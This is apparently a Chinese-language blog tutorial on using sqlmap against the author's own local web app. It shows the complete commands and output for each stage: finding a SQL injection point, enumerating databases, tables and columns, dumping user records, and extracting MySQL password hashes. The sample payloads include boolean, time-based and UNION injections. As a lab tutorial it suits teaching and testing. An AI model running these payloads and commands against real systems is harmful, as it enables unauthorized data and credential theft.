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SQL注入:初步体验Sqlmap

互联网 diligentman 3小时前 4次浏览

目录

Sqlmap

Sqlmap 是一个开源的渗透测试工具,可以自动检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。它有一个强大的检测引擎,许多针对最终渗透测试人员的小众功能,以及从数据库指纹、从数据库获取数据、访问底层文件系统和通过带外连接在操作系统上执行命令等广泛的开关。

安装

pip install sqlmap

查看帮助文档

sqlmap -hh

中文文档

https://sqlmap.campfire.ga/

直连数据库

服务型数据库(mysql)

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

sqlmap -d “mysql://root:123456@127.0.0.1:3306/uniapp_shop” -f –banner –dbs –users

文件型数据库(sqlite)

DBMS://DATABASE_FILEPATH

sqlmap -d “sqlite3://D:apiTestDjangodb.sqlite3” -f –banner –dbs –tables

初级实战

此处使用的是本地的服务,目的在于学习sqlmap的使用,请不要做违法的事情

扫描项目源码为: https://gitee.com/zy7y/uniapp_shop_server

1. 扫描注入点

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1

(venv) D:sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.5.5#pip}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:34:37 /2021-05-14/

[13:34:37] [INFO] resuming back-end DBMS 'mysql'
[13:34:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newid=13 AND 6236=6236

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[13:34:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:34:37] [INFO] fetched data logged to text files under 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1'

[*] ending @ 13:34:37 /2021-05-14/
# Title: Generic UNION query (NULL) - 5 columns 注入点

2. 根据注入点查到全部数据库 –dbs

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --dbs

(venv) D:sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.5#pip}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:40:12 /2021-05-14/

[13:40:12] [INFO] resuming back-end DBMS 'mysql'
[13:40:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: newid=13 AND 6236=6236

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)

 Type: UNION query
 Title: Generic UNION query (NULL) - 5 columns
 Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[13:40:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:40:12] [INFO] fetching database names
available databases [6]:
[*] atplant
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] uniapp_shop

[13:40:12] [INFO] fetched data logged to text files under 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1'

[*] ending @ 13:40:12 /2021-05-14/

3. 根据指定数据库来查所有表

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop --tables

(venv) D:sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.5#pip}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:57:46 /2021-05-14/

[14:57:47] [INFO] resuming back-end DBMS 'mysql'
[14:57:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)

 Type: UNION query
 Title: Generic UNION query (NULL) - 5 columns
 Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[14:57:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:57:47] [INFO] fetching tables for database: 'uniapp_shop'
Database: uniapp_shop
[36 tables]
+----------------------------+
| dt_article                 |
| dt_article_albums          |
| dt_article_attach          |
| dt_article_attribute_field |
| dt_article_attribute_value |
| dt_article_category        |
| dt_article_comment         |
| dt_brands                  |
| dt_channel                 |
| dt_channel_field           |
| dt_channel_site            |
| dt_express                 |
| dt_feedback                |
| dt_link                    |
| dt_mail_template           |
| dt_manager                 |
| dt_manager_log             |
| dt_manager_role            |
| dt_manager_role_value      |
| dt_navigation              |
| dt_order_goods             |
| dt_orders                  |
| dt_payment                 |
| dt_sms_template            |
| dt_user_amount_log         |
| dt_user_attach_log         |
| dt_user_code               |
| dt_user_group_price        |
| dt_user_groups             |
| dt_user_login_log          |
| dt_user_message            |
| dt_user_oauth              |
| dt_user_oauth_app          |
| dt_user_point_log          |
| dt_user_recharge           |
| dt_users                   |
+----------------------------+

[14:57:47] [INFO] fetched data logged to text files under 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1'

[*] ending @ 14:57:47 /2021-05-14/

3.根据表来爆字段(mysql版本>5.0)

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop -T dt_users --columns

(venv) D:sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 -D uniapp_shop -T dt_users --columns
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.5#pip}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:59:01 /2021-05-14/

[14:59:01] [INFO] resuming back-end DBMS 'mysql'
[14:59:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)

 Type: UNION query
 Title: Generic UNION query (NULL) - 5 columns
 Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[14:59:01] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:59:01] [INFO] fetching columns for table 'dt_users' in database 'uniapp_shop'
Database: uniapp_shop
Table: dt_users
[22 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| exp       | int          |
| address   | varchar(255) |
| amount    | double       |
| area      | varchar(255) |
| avatar    | varchar(255) |
| birthday  | timestamp    |
| email     | varchar(50)  |
| group_id  | int          |
| id        | int          |
| mobile    | varchar(20)  |
| msn       | varchar(100) |
| nick_name | varchar(100) |
| password  | varchar(100) |
| point     | int          |
| qq        | varchar(20)  |
| reg_ip    | varchar(20)  |
| reg_time  | timestamp    |
| salt      | varchar(20)  |
| sex       | varchar(20)  |
| status    | int          |
| telphone  | varchar(50)  |
| user_name | varchar(100) |
+-----------+--------------+

[14:59:02] [INFO] fetched data logged to text files under 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1'

[*] ending @ 14:59:02 /2021-05-14/

4. 根据字段名查到表中的数据

注意:当使用了–dump 已经触法了法律,请不要恶意攻击他人服务

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --batch -D uniapp_shop -T dt_users -C user_name,id --dump

(venv) D:sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --batch -D uniapp_shop -T dt_users -C user_name,id --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.5#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:03:52 /2021-05-14/

[15:03:52] [INFO] resuming back-end DBMS 'mysql'
[15:03:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=1 AND (SELECT 3711 FROM (SELECT(SLEEP(5)))aMmf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=1 UNION ALL SELECT NULL,CONCAT(0x7162626b71,0x456a5258416472737a767a5a6d624b5448444b52745770566c4e67646c58666d474376737a6f476c,0x7170706271),NULL,NULL,NULL-- -
---
[15:03:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:03:52] [INFO] fetching entries of column(s) 'id,user_name' for table 'dt_users' in database 'uniapp_shop'
Database: uniapp_shop
Table: dt_users
[1 entry]
+-----------+----+
| user_name | id |
+-----------+----+
| test      | 1  |
+-----------+----+

[15:03:53] [INFO] table 'uniapp_shop.dt_users' dumped to CSV file 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1dumpuniapp_shopdt_users.csv'
[15:03:53] [INFO] fetched data logged to text files under 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1'

[*] ending @ 15:03:53 /2021-05-14/

5. 获取当前数据库用户及hash密码

命令: sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --passwords

(venv) D:sqlmaptools>sqlmap -u http://127.0.0.1/v1/getnews?newid=1 --passwords
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.5#pip}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal l
aws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:40:02 /2021-05-14/

[14:40:02] [INFO] resuming back-end DBMS 'mysql'
[14:40:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: newid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newid=13 AND 6236=6236

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newid=13 AND (SELECT 8333 FROM (SELECT(SLEEP(5)))cUBu)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: newid=13 UNION ALL SELECT CONCAT(0x716a6a7a71,0x664e6179557179534a494d4b7a6a4b4263744562646f716151716744516c75476f6774666345424e,0x71786b7a71),NULL,NULL,NULL,NULL-- -
---
[14:40:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:40:02] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[14:40:05] [WARNING] no clear password(s) found
database management system users password hashes:
[*] develop [1]:
    password hash: $A$005$~W\u0005K\u000b\u0017d\u0013\u0002*4j_s Qg\u0007\u0015\u0001GlIeJWW2iJzFpb0bGTlr5.6kBD1hAQt2iQefbUbepKD
[*] mysql.infoschema [1]:
    password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.session [1]:
    password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] mysql.sys [1]:
    password hash: $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] root [2]:
    password hash: $A$005$\u0013`|dCsg\u0001^)_s\u001dL\u0010n-jx^61Eh8FZrw86xs/5fy7xSwpJ9rmmaZ9iyou1PCK74aRC
    password hash: $A$005$z#r<]P\u000eneGN\u0014P_m\u0007tk&av.YQwaEJ5AqX5Mv9.OiaWV/IlOiYM.C3veKIaAjpwq3

[14:40:05] [INFO] fetched data logged to text files under 'C:Userszy7yAppDataLocalsqlmapoutput127.0.0.1'

[*] ending @ 14:40:05 /2021-05-14/

最后

请不要恶意使用其来攻击他人服务,不要触碰法律,高级用法请查看官方文档

参考资料

sqlmap中文文档

sql注入实战讲解


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